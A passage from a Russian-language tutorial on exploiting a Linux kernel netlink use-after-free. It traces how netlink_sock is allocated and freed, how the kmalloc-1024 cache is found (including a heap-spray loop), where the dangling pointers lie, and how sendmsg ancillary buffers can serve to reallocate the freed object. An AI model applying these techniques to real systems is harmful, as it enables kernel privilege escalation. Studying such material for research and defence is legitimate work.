* some packets are still in some tx queue.

* If not null, sock_wfree() will call __sk_free(sk) later

*/

if (atomic_dec_and_test(&sk->sk_wmem_alloc))

__sk_free(sk);

}

Вспоминаем, что в поле sk‑>sk_wmem_alloc хранится «текущий» размер буфера отправки. Во время инициализации структуры netlink_sock в этом поле была установлена единица. Поскольку мы не отослали ни одного сообщения целевому сокету, перед началом вызова sk_free() в этом поле все также остается единица. Далее происходит вызов __sk_free():

// [net/core/sock.c]

static void __sk_free(struct sock *sk)

{

struct sk_filter *filter;

[0] if (sk->sk_destruct)

sk->sk_destruct(sk);

// ... cut ...

[1] sk_prot_free(sk->sk_prot_creator, sk);

}

Если выполняется условие в строке [0], происходит вызов «специализированного» деструктора. В строке [1] вызывается функция sk_prot_free() с аргументом, представляющим собой тип, описываемый структурой proto. В конце объект освобождается в зависимости от принадлежности тому или иному кэшу (см. следующий раздел):

static void sk_prot_free(struct proto *prot, struct sock *sk)

{

struct kmem_cache *slab;

struct module *owner;

owner = prot->owner;

slab = prot->slab;

security_sk_free(sk);

if (slab != NULL)

kmem_cache_free(slab, sk); // <----- this one or...

else

kfree(sk); // <----- ...this one ?

module_put(owner);

}

Таким образом, получаем следующее дерево вызовов:

- <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>

- sock_put

- sk_free

- __sk_free

- sk_prot_free

- kmem_cache_free or kfree

Примечание: Вспоминаем, что sk и netlink_sock являются псевдонимами (см. первую часть). То есть освобождение указателя объекта sock влечет за собой освобождение всего объекта netlink_sock!

Сейчас нам нужно разобраться с последним вызовом, но вначале необходимо узнать, к какому кэшу относится объект.

К какому кэшу принадлежит объект?

Вспоминаем, что Линукс является объектно-ориентированной системой со множеством слоев абстракций и специализаций (см. первую часть).

Структура proto принадлежит еще одному слою абстракции:

1. Операции файла с типом socket (структура file) определяются объектом socket_file_ops.

2. Операции BSD-сокета семейства netlink (структура socket) определяются объектом netlink_ops.

3. Операции объекта sock (структура sock) определяются объектами netlink_proto и netlink_family_ops.

Примечание: к netlink_family_ops мы вернемся в следующем разделе.

В отличие от socket_file_ops и netlink_ops, представляющих собой в основном таблицу виртуальных функций, структура proto является чуть более сложной. В этой структуре, помимо таблицы виртуальных функций, есть информация, описывающая жизненный цикл структуры sock. В частности, «как» специализированный объект sock может быть размещен.

В нашем случае самыми важными являются поля slab и obj_size:

// [include/net/sock.h]

struct proto {

struct kmem_cache *slab; // the "dedicated" cache (if any)

unsigned int obj_size; // the "specialized" sock object size

struct module *owner; // used for Linux module's refcounting

char name[32];

// ...

}

В случае с объектом netlink_sock используется структура netlink_proto:

static struct proto netlink_proto = {

.name = "NETLINK",

.owner = THIS_MODULE,

.obj_size = sizeof(struct netlink_sock),

};

Поле obj_size определяет не конечный размер выделяемой памяти, а только часть (см. следующий раздел).

Как видно выше, многие поля остаются пустыми (т.е. равными NULL). Можно ли сделать вывод, что у структуры netlink_proto нет назначенного кэша? Мы не можем сказать точно, поскольку поле slab определяется во время регистрации протокола. Мы коснемся регистрации протокола лишь вскользь, чтобы иметь базовое понимание.

В Линуксе сетевые модули загружаются либо во время загрузки операционной системы, либо более «ленивым» способом, когда определенный сокет начинает использоваться впервые. В любом случае вызывается «инициализирующая» функция. В случае с netlinkподобной функцией является netlink_proto_init(), которая выполняет следующие операции:

1. Вызывает proto_register(&netlink_proto, 0).

2. Вызывает sock_register(&netlink_family_ops).

Функция proto_register определяет, будет ли протокол использовать назначенный кэш. Если да, то создается назначенный kmem_cache, если нет – будут использоваться кэши общего назначения. Выбор того или иного кэша зависит от параметра alloc_slab (второй аргумент):

// [net/core/sock.c]

int proto_register(struct proto *prot, int alloc_slab)

{

if (alloc_slab) {

prot->slab = kmem_cache_create(prot->name, // <----- creates a kmem_cache named "prot->name"

sk_alloc_size(prot->obj_size), 0, // <----- uses the "prot->obj_size"

SLAB_HWCACHE_ALIGN | proto_slab_flags(prot),

NULL);

if (prot->slab == NULL) {

printk(KERN_CRIT "%s: Can't create sock SLAB cache!\n", prot->name);

goto out;

}

// ... cut (allocates other things) ...

}

// ... cut (register in the proto_list) ...

return 0;

// ... cut (error handling) ...

}

Только в этом месте протоколу может выделен назначенный кэш. Поскольку функция netlink_proto_init() вызывает proto_register с аргументом alloc_slab равным нулю, протокол netlink использует один из кэшей общего назначения. Как вы можете догадаться, рассматриваемый кэш общего назначения будет зависеть от значения, установленного в поле obj_size.

Подробности в следующем разделе.

Где происходит размещение?

На данный момент нам известно, что во время «регистрации протокола» в семействе netlink происходит регистрация структуры net_proto_family, а, значит, и структуры netlink_family_ops:

struct net_proto_family {

int family;

int (*create)(struct net *net, struct socket *sock,

int protocol, int kern);

struct module *owner;

};

static struct net_proto_family netlink_family_ops = {

.family = PF_NETLINK,

.create = netlink_create, // <-----

.owner = THIS_MODULE,

};

При вызове функции netlink_create() структура socket уже размещена. Цель netlink_create() – разместить структуру netlink_sock, связать эту структуру с сокетом и инициализировать поля структур socket и netlink_sock. Здесь же проводятся проверки на тип сокета (RAW, DGRAM) и идентификатор netlink-протокола (NETLINK_USERSOCK, ...).

static int netlink_create(struct net *net, struct socket *sock, int protocol, int kern)

{

struct module *module = NULL;

struct mutex *cb_mutex;

struct netlink_sock *nlk;

int err = 0;

sock->state = SS_UNCONNECTED;

if (sock->type != SOCK_RAW && sock->type != SOCK_DGRAM)

return -ESOCKTNOSUPPORT;

if (protocol < 0 || protocol >= MAX_LINKS)

return -EPROTONOSUPPORT;

// ... cut (load the module if protocol is not registered yet - lazy loading) ...

err = __netlink_create(net, sock, cb_mutex, protocol, kern); // <-----

if (err < 0)

goto out_module;

// ... cut...

}

В свою очередь, функция __netlink_create() играет главную роль во время создания структуры netlink_sock.

static int __netlink_create(struct net *net, struct socket *sock, struct mutex *cb_mutex, int protocol, int kern)

{

struct sock *sk;

struct netlink_sock *nlk;

[0] sock->ops = &netlink_ops;

[1] sk = sk_alloc(net, PF_NETLINK, GFP_KERNEL, &netlink_proto);

if (!sk)

return -ENOMEM;

[2] sock_init_data(sock, sk);

// ... cut (mutex stuff) ...

[3] init_waitqueue_head(&nlk->wait);

[4] sk->sk_destruct = netlink_sock_destruct;

sk->sk_protocol = protocol;

return 0;

}

Функция __netlink_create() делает следующее:

  • [0] – устанавливает в качестве виртуальной таблицы функций сокета, описываемой структурой proto_ops, объект netlink_ops.

  • [1] – размещает netlink_sock, используя информацию полей prot‑>slab и prot‑>obj_size.

  • [2] – инициализирует буфер приема/передачи, переменные sk_rcvbuf/sk_sndbuf, привязывает сокет к структуре sock и т. д.

  • [3] – инициализирует очередь ожидания (см. вторую часть).

  • [4] – определяет специализированный деструктор, который будет вызываться во время освобождения структуры netlink_sock (см. предыдущий раздел).

Наконец, функция sk_alloc() вызывает sk_prot_alloc() [1], используя структуру proto (т.е. netlink_proto). Именно в этом месте ядро выбирает для размещения назначенный кэш или кэш общего назначения:

static struct sock *sk_prot_alloc(struct proto *prot, gfp_t priority, int family)

{

struct sock *sk;

struct kmem_cache *slab;

slab = prot->slab;

if (slab != NULL) {

sk = kmem_cache_alloc(slab, priority & ~__GFP_ZERO); // <-----

// ... cut (zeroing the freshly allocated object) ...

}

else

sk = kmalloc(sk_alloc_size(prot->obj_size), priority); // <-----

// ... cut ...

return sk;

}

Как было показано выше, во время регистрации netlink-протокола, поле slab не используется (поскольку в этом поле установлено NULL). Таким образом, вызывается функция kmalloc() и, соответственно, используется кэш общего назначения.

Теперь нам нужно разобраться с деревом вызовов до функции netlink_create(). Как можно догадаться, стартовая точка отсчета – системный вызов socket(). Мы не будем рассматривать все возможные сценарии (останется вам в качестве домашнего задания), а затронем только самую суть:

- SYSCALL(socket)

- sock_create

- __sock_create // allocates a "struct socket"

- pf->create // pf == netlink_family_ops

- netlink_create

- __netlink_create

- sk_alloc

- sk_prot_alloc

- kmalloc

Теперь мы знаем, где размещается объект netlink_sock и выбирается кэш kmem_cache общего назначения. Однако пока мы не знаем, какой конкретно используется кэш (kmalloc‑32? kmalloc‑64?).

Статические и динамические методы для вычисления размера объекта

Из предыдущего раздела мы знаем, что объект netlink_sock размещается в кэше общего назначения kmem_cache во время следующего вызова:

kmalloc(sk_alloc_size(prot->obj_size), priority)

Содержимое функции sk_alloc_size():

#define SOCK_EXTENDED_SIZE ALIGN(sizeof(struct sock_extended), sizeof(long))

static inline unsigned int sk_alloc_size(unsigned int prot_sock_size)

{

return ALIGN(prot_sock_size, sizeof(long)) + SOCK_EXTENDED_SIZE;

}

Примечание: структура sock_extended создается для расширения первоначальной структуры sock без нарушения двоичного интерфейса приложений (ABI) в ядре. Особо разбираться в этой теме не обязательно, но отметим, что размер этого объекта добавляется к первоначально выделяемой памяти.

Таким образом, получаем следующую формулу: sizeof(struct netlink_sock) + sizeof(struct sock_extended) + SOME_ALIGNMENT_BYTES.

Важно отметить, что нам не нужен точный размер. Поскольку выделение происходит в кэше общего назначения kmem_cache, нам лишь нужно найти кэш, ограниченный сверху, в котором можно разместить объект (см. Базовые концепции #3).

Предупреждение-1: В разделе «Базовые концепции #3» говорилось, что кэши общего назначения имеют размер равный степени двойки, что, на самом деле, не совсем верно. В некоторых системах используются размеры «kmalloc‑96» и «kmalloc‑192», поскольку размеры большинства объектов близки к этим значениям, а не к степени двойки. Эти кэши уменьшают внутреннюю фрагментацию.

Предупреждение-2: Методы, используемые исключительно для отладки, могут помочь примерно вычислить размеры объектов. Однако в рабочих системах из-за препроцессоров CONFIG_* размеры тех же объектов в ядре будут другими. Разница в размерах может варьироваться от нескольких до сотен байт! Кроме того, следует обращать особое внимание на те случаи, когда вычисленный размер объекта близок к границе размера объекта kmem_cache. Например, объект размером 260 будет находиться в кэше kmalloc‑512. Однако в рабочей системе размер может уменьшиться до 220 байт (соответственно, будет использоваться кэш kmalloc‑256, и во время эксплуатации могут возникнуть проблемы).

При помощи Метода #5 (см. ниже) выяснится, что наш целевой размер «kmalloc‑1024». Этот кэш очень подходит для эксплуатации уязвимости use‑after‑free, в чем вы убедитесь, после изучения раздела, посвященного переразмещению.

Метод #1 [статический]: Ручное вычисление

Идея заключается в том, чтобы вручную сложить все размеры полей (тип int – 4 байта, long – 8 байт и так далее). Этот метод хорошо работает для «небольших» структур, но дает большую погрешность для больших. Нужно учитывать, выравнивание, дополнение и упаковку. Например:

struct __wait_queue {

unsigned int flags; // offset=0, total_size=4

// offset=4, total_size=8 <---- PADDING HERE TO ALIGN ON 8 BYTES

void *private; // offset=8, total_size=16

wait_queue_func_t func; // offset=16, total_size=24

struct list_head task_list; // offset=24, total_size=40 (sizeof(list_head)==16)

};

Размер структуры выше вычислить легко. Но если вы посмотрите на структуру sock, то погрешность может оказаться очень большой, поскольку нужно учитывать каждый препроцессорный макрос CONFIG_ и обрабатывать сложные «объединения».

Метод #2 [статический]: при помощи Pahole (применим только для отладочной версии)

Pahole делает всю работу из предыдущего метода автоматически. Например, выгрузим скелет структуры socket:

$ pahole -C socket vmlinuz_dwarf

struct socket {

socket_state state; /* 0 4 */

short int type; /* 4 2 */

/* XXX 2 bytes hole, try to pack */

long unsigned int flags; /* 8 8 */

struct socket_wq * wq; /* 16 8 */

struct file * file; /* 24 8 */

struct sock * sk; /* 32 8 */

const struct proto_ops * ops; /* 40 8 */

/* size: 48, cachelines: 1, members: 7 */

/* sum members: 46, holes: 1, sum holes: 2 */

/* last cacheline: 48 bytes */

};

На первый взгляд кажется, что эта утилита подойдет для решения нашей задачи, однако для корректной работы Pahole нужно, чтобы в образе ядра были символы DWARF, которых нет в ядрах, используемых в рабочих системах.

Метод #3 [статический]: при помощи дизассемблеров

Вы не сможете точно вычислить размер, переданный в kmalloc(), поскольку это значение рассчитывается динамически. Однако вы можете попробовать поискать смещение, используемое в тех структурах (особенно в последних полях), а завершить вычисления вручную. Мы воспользуемся этим методом позже.

Метод #4 [динамический]: при помощи System Tap (применим только для отладочной версии)

В первой части рассматривалось, как в продвинутом режиме в Sytem Tap написать код (модуль) для ядра. Мы можем воспользоваться этой техникой еще раз и «повторно запустить» функцию sk_alloc_size(). Обратите внимание, что возможно у вас не получится вызвать sk_alloc_size() напрямую, поскольку эта функция встроенная. Однако вы можете скопировать/вставить код и сделать выгрузку.

Еще один способ снять параметры kmalloc() – во время системного вызова socket(). Вполне возможно будет несколько вызовов kmalloc(), и чтобы найти правильный, нужно закрыть только что созданный сокет, снять параметры функции kfree() и сравнить указатели с тем, которые используются в kmalloc(). Поскольку первый аргумент функции kmalloc() – размер, вы найдете корректное значение.

Альтернативный вариант: вызов функции print_backtrace() внутри kmalloc(). Однако следует быть очень внимательным, поскольку System Tap перестает выводить результаты, если сообщений слишком много!

Метод #5 [динамический]: при помощи «/proc/slabinfo»

На первый взгляд, кажется, что этот метод не заслуживает внимания, но на самом деле работает великолепно. Если kmem_cache использует назначенный кэш, тогда можно узнать размер объекта в колонке «objsize» при условии, что вы знаете имя kmem_cache (см. структуру proto)!

С другой стороны, можно написать простую программу, которая размещает множество целевых объектов. Например:

int main(void)

{

while (1)

{

// allocate by chunks of 200 objects

for (int i = 0; i < 200; ++i)

_socket(AF_NETLINK, SOCK_DGRAM, NETLINK_USERSOCK);

getchar();

}

return 0;

}

Примечание: техника, показанная выше, называется heap spraying (распыление кучи).

В отдельном окне выполните следующую команду:

watch -n 0.1 'sudo cat /proc/slabinfo | egrep "kmalloc-|size-" | grep -vi dma'

Затем запустите программу и нажмите любую клавишу для выделения следующего блока. Через некоторое время вы увидите, что один из кэшей общего назначения (см. колонки active_objs/num_objs) начинает увеличиваться. Тот кэш, который будет разрастаться – и есть наш искомый kmem_cache!

Краткие итоги

Было потрачено много времени на сбор информации. Однако проделанная работа пойдет на пользу. Теперь мы лучше знаем API, используемое в сетевом протоколе. Надеюсь, теперь вы понимаете, почему KASAN – прекрасный инструмент, который делает все манипуляции, показанные выше (и даже больше), в автоматическом режиме.

Подытоживаем ответы на все вопросы:

· Какой используется аллокатор? SLAB.

· Какой нужен объект? Структура netlink_sock.

· К какому кэшу принадлежит этот объект? kmalloc‑1024.

· Где выделяется память?

- SYSCALL(socket)

- sock_create

- __sock_create // allocates a "struct socket"

- pf->create // pf == netlink_family_ops

- netlink_create

- __netlink_create

- sk_alloc

- sk_prot_alloc

- kmalloc

· Где освобождается память?

- <<< what ever calls sock_put() on a netlink_sock (e.g. netlink_detachskb()) >>>

- sock_put

- sk_free

- __sk_free

- sk_prot_free

- kfree

Теперь осталось разобраться, как, собственно, написать сам эксплоит, о чем мы поговорим следующем разделе.

Анализ UAF (висячие указатели)

Возвращаемся к нашей уязвимости.

В этом разделе мы найдем висячие указатели, связанные с уязвимостью, и разберемся, почему написанный ранее концептуальный код (см. вторую часть) вызывает крах, и почему мы уже выполнили «трансфер UAF» (этот термин не является «официальным»), что сыграет нам на руку.

Идентификация висячих указателей

На данный момент ядро просто падает, мы не можем узнать об ошибках через dmesg, и у нас нет ни одного дерева вызовов, чтобы разобраться, почему происходит крах. Единственное, в чем мы точно уверены – возникает падение после того, как мы нажимаем на клавишу, но никогда перед. Конечно, это явление ожидаемое, поскольку мы уже сделали «трансфер UAF».

Теперь разберем подробности.

Во время инициализации эксплоита мы сделали следующее:

  • Создали NETLINK-сокет.

  • Сделали привязку созданного сокета.

  • Заполнили буфер приема у сокета.

  • Сделали дубликат сокета (дважды).

Теперь мы находимся в следующей ситуации:

Рисунок 1: Состояние памяти после инициализации эксплоита

Обратите внимание на различие между socket_ptr (структура socket) и sock_ptr (структура netlink_sock).

Содержимое элементов таблицы файловых дескрипторов из схемы выше:

  • fdt[3] (fd=3) – sock_fd.

  • fdt[4] (fd=4) – unblock_fd.

  • fdt[5] (fd=5) – sock_fd2.

У структуры file, связанной с нашим netlink-сокетом, счетчик ссылок равен 3 (увеличивался в функции socket() и два раза в dup(). Счетчик ссылок структуры sock равен 2 (увеличивался в функциях socket() и bind()).

Предположим, что мы активировали уязвимость один раз. Счетчик ссылок структуры sock будет уменьшен на единицу, счетчик ссылок структуры file тоже будет уменьшен на единицу, а элемент fdt[5] станет равным NULL. Обратите внимание, что вызов close(5) не уменьшил счетчик ссылок структуры sock на единицу (уменьшение произошло из-за уязвимости)!

Теперь ситуация становится следующей:

Рисунок 2: Состояние памяти после первичной активации уязвимости

Активируем уязвимость во второй раз:

Рисунок 3: Состояние памяти после повторной активации уязвимости

И вновь вызов close(3) не уменьшил счетчик ссылок структуры sock (уменьшение произошло из-за уязвимости)! Поскольку теперь счетчик стал равен нулю, структура sock освободилась.

Как мы видим, структура file до сих пор остается действующей, поскольку на эту структуру указывает fdt[4] (см. Рисунок 3). Более того, в структуре socket появился висячий указатель на только что освобожденный объект sock. Это явление и называется «трансфер UAF». В отличие от первого сценария (см. первую часть), где переменная «sock» была висячим указателем (в функции mq_notify()), теперь висячим указателем является поле sk структуры socket. Другими словами, у нас есть «доступ» к висячему указателю структуры socket через структуру file через файловый дескриптор unblock_fd.

Возникает вопрос, почему структура socket до сих пор хранит висячий указатель? Причина заключается в том, что объект netlink_sock освобождается функцией __sk_free(), которая делает следующее (см. предыдущий раздел):

1. Вызывает функцию netlink_sock_destruct() (деструктор сокета).

2. Вызывает функцию sk_prot_free().

Ни одна из вышеперечисленных функция не обновляет структуру socket.

Если вы взглянете на логи dmesg перед нажатием клавиши (в эксплоите), то найдете схожее сообщение:

[ 141.771253] Freeing alive netlink socket ffff88001ab88000

Это сообщение приходит из деструктора netlink_sock_destruct() объекта sock (который вызывается функцией __sk_free()):

static void netlink_sock_destruct(struct sock *sk)

{

struct netlink_sock *nlk = nlk_sk(sk);

// ... cut ...

if (!sock_flag(sk, SOCK_DEAD)) {

printk(KERN_ERR "Freeing alive netlink socket %p\n", sk); // <-----

return;

}

// ... cut ...

}

Ну, хорошо. Мы нашли один висячий указатель. Но на самом деле таких указателей больше.

Во время привязки целевого сокета при помощи функции netlink_bind() мы видели, что счетчик ссылок увеличился на единицу, вследствие чего можно сослаться на этот объект в функции netlink_getsockbypid(). Если не вдаваться глубоко в детали, то можно сказать, что указатели структуры netlink_sock хранятся в списке хешей поля nl_table (эта тема рассматривается в четвертой части). По время освобождения объекта sock эти указатели также становится висячими.

Важно найти все висячие указатели по двум причинам:

1. Эти указатели могут использоваться для эксплуатации уязвимости use‑after‑free и для получения нужных примитивов.

2. Мы должны починить эти указатели во время восстановления ядра.

Двигаемся дальше. Теперь нужно разобраться, почему ядро падает во время завершения эксплоита.

Почему возникает крах

В предыдущем разделе мы нашли три висячих указателя:

· Указатель sk, принадлежащий структуре socket.

· Два указателя в перечне хешей поля nl_table в структуре netlink_sock.

Пришло время выяснить, почему возникает крах при отработке концептуального кода.

Что происходит, когда мы нажимаем клавишу во время отработки концептуального кода? Эксплоит просто завершает свою работу, однако сей факт означает многое. Ядру нужно освободить все ресурсы, выделенные для процессора, иначе будет много утечек памяти.

Сама по себе процедура выхода немного сложна. В основном все начинается с функции do_exit(). В некоторый момент происходит освобождение файловых ресурсов. В целом, сценарий выхода такой:

1. Вызывается функция do_exit() ([kernel/exit.c]).

2. Внутри do_exit() вызывается функция exit_files(), которая освобождает ссылку текущей структуры files_struct при помощи функции put_files_struct().

3. Поскольку эта ссылка была последней, put_files_struct() вызывает функцию close_files().

4. Функция close_files() пробегается по таблице файловых дескрипторов и вызывает функцию filp_close() для каждого оставшегося файла.

5. Когда дело доходит до файла, на который указывает дескриптор unblock_fd, функция filp_close() вызывает fput().

6. Поскольку ссылка была последней, вызывается функция __fput().

7. В конце, функция __fput() вызывает файловую операцию file‑>f_op‑>release(), которая представляет собой функцию sock_close().

8. Функция sock_close() вызывает sock‑>ops‑>release() (функцию netlink_release() структуры proto_ops) и устанавливает в поле sock‑>file значение NULL.

9. Начиная с netlink_release(), существует множество операций, приводящих к уязвимости use‑after‑free, что является причиной краха.

Грубо говоря, поскольку мы не закрыли unblock_fd, этот дескриптор будет освобожден по завершению программы. В конце будет запущена функция netlink_release(). Начиная с этой функции, есть множество уязвимостей UAF, и будет большая удача, если не возникнет крах:

static int netlink_release(struct socket *sock)

{

struct sock *sk = sock->sk; // <----- dangling pointer

struct netlink_sock *nlk;

if (!sk) // <----- not NULL because... dangling pointer

return 0;

netlink_remove(sk); // <----- UAF

sock_orphan(sk); // <----- UAF

nlk = nlk_sk(sk); // <----- UAF

// ... cut (more and more UAF) ...

}

Очень много примитивов. Даже слишком. Проблема в том, что каждый примитив должен:

  • Делать что-то полезное или не выполнять никаких операций (no‑op).

  • Не вызывать краха (из-за функции BUG_ON()) и плохих разыменований.

По вышеуказанным причинам, функция netlink_release() – не очень хороший кандидат для эксплуатации (см. следующий раздел).

Перед тем как двигаться дальше, убедимся, что мы нашли основную причину краха. Модифицируем и запустим концептуальный код:

int main(void)

{

// ... cut ...

printf("[ ] ready to crash?\n");

PRESS_KEY();

close(unblock_fd);

printf("[ ] are we still alive ?\n");

PRESS_KEY();

}

Прекрасно. Сейчас мы не видим сообщения «[ ] are we still alive?», а, значит, наша догадка оказалась верной, и ядро падает из-за уязвимостей в функции netlink_release(). Также можно сделать еще одни важный вывод:

У нас есть способ активации бреши use‑after‑free в любой момент, когда мы захотим!

Теперь, когда мы нашли висячие указатели, поняли, почему ядро падает и убедились, что можем активировать UAF в любой момент, пришло время написать эксплоит.

Эксплоит (Переразмещение)

«Переходим от теории к практике!»

Вне зависимости от конкретной уязвимости, эксплуатация use‑after‑free (через конфликт типов) требуется переразмещения, для чего требуется соответствующий гаджет, который выполняет эту функцию.

Гаджет переразмещения – это способ спровоцировать ядро на вызов функции kmalloc() (то есть отработку кода ядра) из пространства пользователя (в основном через системный вызов). Идеальный гаджет для переразмещения должен обладать следующими характеристиками:

  • Быть быстрым: до вызова kmalloc() должен быть путь как можно короче.

  • Управлять данными: гаджет должен уметь заполнять память, выделенную через kmalloc(), произвольным содержимым.

  • Не блокировать: гаджет не должен блокировать поток.

  • Быть гибким: аргумент size функции kmalloc() должен быть управляемым.

К сожалению, довольно сложно найти гаджет, соответствующий всем вышеуказанным условиям. Хорошо известный гаджет - msgsnd() (System V IPC) – быстрый, не блокирует поток, имеет доступ к любому кэшу общего назначения kmem_cache размером 64 байта. Однако вы не сможете управляет данными первых 48 байт (sizeof(struct msg_msg)). Мы не будем использовать этот гаджет, но если вам интересно, изучите функцию sysv_msg_load().

В этом разделе будет рассмотрен другой хорошо известный гаджет: буфер вспомогательных данных (также называемый sendmsg()). Затем мы коснемся главной проблемы, которая может привести к ошибке в эксплоите, и методов минимизации этого риска. В заключении будет рассмотрена реализация переразмещения из пространства пользователя.

Что такое «переразмещение» (SLAB)

Чтобы эксплуатировать уязвимость use‑after‑free через несоответствие типов, нужно разместить управляемый объект на месте старой структуры netlink_sock. Предположим, что этот объект находился по адресу 0xffffffc0aabbcced. Мы не можем изменить это местонахождение!

«Если вы не можете прийти к ним, позвольте им прийти к вам».

Операция размещения объекта в определенном участке памяти называется переразмещением. Обычно в этом участке памяти располагался объект, который только что освобожден (в нашем случае – структура netlink_sock).

В SLAB аллокаторе переразмещение выполняется довольно просто. Почему? При помощи структуры array_cache SLAB использует алгоритм LIFO. То есть последний освобождаемый участок памяти указанного размера (kmalloc‑1024) будет первым для повторного размещения того же самого размера (см. раздел Базовые концепции #3). Более того, этот механизм не зависит от типа slab. Вы можете пропустить это свойство во время переразмещения при помощи SLUB аллокатора.

Рассмотрим структуру кэша kmalloc‑1024:

  • Каждый объект в кэше kmalloc‑1024 kmem_cache имеет размер 1024 байт.

  • Каждый slab состоит из одной страницы (4096 байт). То есть на каждый slab приходится 4 объекта.

  • Предположим, что кэш состоит из двух slab’ов.

Перед освобождением объекта netlink_sock имеем следующую структуру памяти:

Рисунок 4: Структуру памяти перед освобождением объекта netlink_sock

Обратите внимание, что поле ac‑>available представляет собой индекс (плюс 1) следующего свободного объекта. Затем объект netlink_sock становится свободным. В наибыстрейшем сценарии выполнения кода освобождение объекта (kfree(objp)) эквивалентно следующему выражению:

ac->entry[ac->avail++] = objp; // "ac->avail" is POST-incremented

Таким образом, получаем следующую схему.

Рисунок 5: Структуру памяти после освобождения объекта netlink_sock

В конце, объект структуры sock размещается (kmalloc(1024)) при помощи следующей операции (наибыстрейший сценарий):

objp = ac->entry[--ac->avail]; // "ac->avail" is PRE-decremented

Получаем следующую схему:

Рисунок 6: Структуру памяти после повторного размещения объекта netlink_sock

Таким образом, область памяти, где размещена новая структура sock, находится в том же месте, что и старая область памяти, где была структура netlink_sock (например, 0xffffffc0aabbccdd). То есть мы сделали повторное размещение или переразмещение. Неплохо, не так ли?

Выше показан идеальный сценарий. На практике возникает множество подводных камней, о которых мы поговорим позже.

Гаджет для переразмещения

В предыдущих статьях рассматривалось два буфера у сокетов: для отправки и приема. Существует еще опциональный буфер (option buffer), который также называется буфером вспомогательных данных (ancillary data buffer). В этом разделе мы рассмотрим, как заполнить этот буфер произвольными данными и использовать в качестве гаджета для переразмещения.

Этот гаджет доступен из «верхней» части системного вызова sendmsg(). Функция __sys_sendmsg() (практически) напрямую вызывается SYSCALL_DEFINE3 (sendmsg):

static int __sys_sendmsg(struct socket *sock, struct msghdr __user *msg,

struct msghdr *msg_sys, unsigned flags,

struct used_address *used_address)

{

struct compat_msghdr __user *msg_compat =

(struct compat_msghdr __user *)msg;

struct sockaddr_storage address;

struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;

[0] unsigned char ctl[sizeof(struct cmsghdr) + 20]

__attribute__ ((aligned(sizeof(__kernel_size_t))));

/* 20 is size of ipv6_pktinfo */

unsigned char *ctl_buf = ctl;

int err, ctl_len, iov_size, total_len;

// ... cut (copy msghdr/iovecs + sanity checks) ...

[1] if (msg_sys->msg_controllen > INT_MAX)

goto out_freeiov;

[2] ctl_len = msg_sys->msg_controllen;

if ((MSG_CMSG_COMPAT & flags) && ctl_len) {

// ... cut ...

} else if (ctl_len) {

if (ctl_len > sizeof(ctl)) {

[3] ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);

if (ctl_buf == NULL)

goto out_freeiov;

}

err = -EFAULT;

[4] if (copy_from_user(ctl_buf, (void __user *)msg_sys->msg_control, ctl_len))

goto out_freectl;

msg_sys->msg_control = ctl_buf;

}

// ... cut ...

[5] err = sock_sendmsg(sock, msg_sys, total_len);

// ... cut ...

out_freectl:

if (ctl_buf != ctl)

[6] sock_kfree_s(sock->sk, ctl_buf, ctl_len);

out_freeiov:

if (iov != iovstack)

sock_kfree_s(sock->sk, iov, iov_size);

out:

return err;

}

Функция __sys_sendmsg делает следующее:

  • [0] – объявляет в стеке буфер ctl размером 36 байт (16 + 20).

  • [1] – проверяет, чтобы пользовательская переменная msg_controllen была меньше или равна, чем INT_MAX.

  • [2] – копирует пользовательскую переменную msg_controllen в буфер ctl_len.

  • [3] – размещает буфер ядра ctl_buf размером ctl_len при помощи функции kmalloc().

  • [4] – копирует байты пользовательских данных в количестве ctl_len из msg_control в буфер ядра ctl_buf, размещенный в шаге [3].

  • [5] – вызывает функцию sock_sendmsg(), которая вызывает sock‑>ops‑>sendmsg() (обратный вызов сокета).

  • [6] – освобождает буфер ядра ctl_buf.

Обратите внимание, что в этой функции происходит обработка множества пользовательских данных, что нам очень нравится. Если подытожить вышеупомянутые шаги, то мы можем разместить буфер ядра при помощи функции kmalloc():

  • Поле msg‑>msg_controllen может быть произвольного размера (должно быть больше 36, но меньше INT_MAX).

  • Поле msg‑>msg_control может содержать произвольные данные.

Рассмотрим, что делает функция sock_kmalloc():

void *sock_kmalloc(struct sock *sk, int size, gfp_t priority)

{

[0] if ((unsigned)size <= sysctl_optmem_max &&

atomic_read(&sk->sk_omem_alloc) + size < sysctl_optmem_max) {

void *mem;

/* First do the add, to avoid the race if kmalloc

* might sleep.

*/

[1] atomic_add(size, &sk->sk_omem_alloc);

[2] mem = kmalloc(size, priority);

if (mem)

[3] return mem;

atomic_sub(size, &sk->sk_omem_alloc);

}

return NULL;

}

Во-первых, аргумент size сравнивается с параметром ядра «optmem_max» [0], который можно извлечь при помощи следующей команды:

$ cat /proc/sys/net/core/optmem_max

Если аргумент size меньше, чем тот параметр, то значение size добавляется к размеру буфера текущей вспомогательной памяти (option memory buffer size), после чего опять проверяется, меньше ли полученное значение, чем «optmem_max» [0]. Мы должны сделать эту проверку в эксплоите. Не забывайте, что нашим целевым кэшем kmem_cache является kmalloc‑1024. Если размер «optmem_max» меньше или равен 512, то нам нужно найти другой гаджет для переразмещения. При создании объекта sock в поле sk_omem_alloc во время инициализации устанавливается 0.

Примечание: Не забывайте, что kmalloc(512 + 1) будет попадать в кэш kmalloc‑1024.

Если проверка [0] пройдена, затем sk_omem_alloc увеличивается на значение size [1]. Далее будет вызов kmalloc() с аргументом size. Если вызов завершится успешно, будет возвращен указатель [3], иначе – sk_omem_alloc уменьшается на значение size и функция вернет NULL.

Таким образом, мы можем вызвать kmalloc() с практически произвольным аргументом size (в диапазоне ([36, sysctl_optmem_max]). Содержимое также будет заполнено произвольными данными. Однако существует проблема. Буфер ctl_buf будет автоматически освобожден при выходе из функции (см. строку [6] в предыдущем листинге). Таким образом, вызов [5] sock_sendmsg() (т.е. обратный вызов sock‑>ops‑>sendmsg()) должен заблокироваться.

Блокировка sendmsg()

В предыдущей статье было рассмотрено, как заблокировать вызов sendmsg(), а конкретно – при помощи заполнение буфера приема. Сразу возникает идея, провернуть тот же трюк с функцией netlink_sendmsg(), но к сожалению в этом случае данный метод не сработает. Причина заключается в том, что функция netlink_sendmsg() будет вызывать netlink_unicast(), которая в свою очередь вызывает netlink_getsockbypid(). Таким образом, будет разыменован висячий указатель в списке хешей поля nl_table (т.е. возникнет уязвимость use‑after‑free).

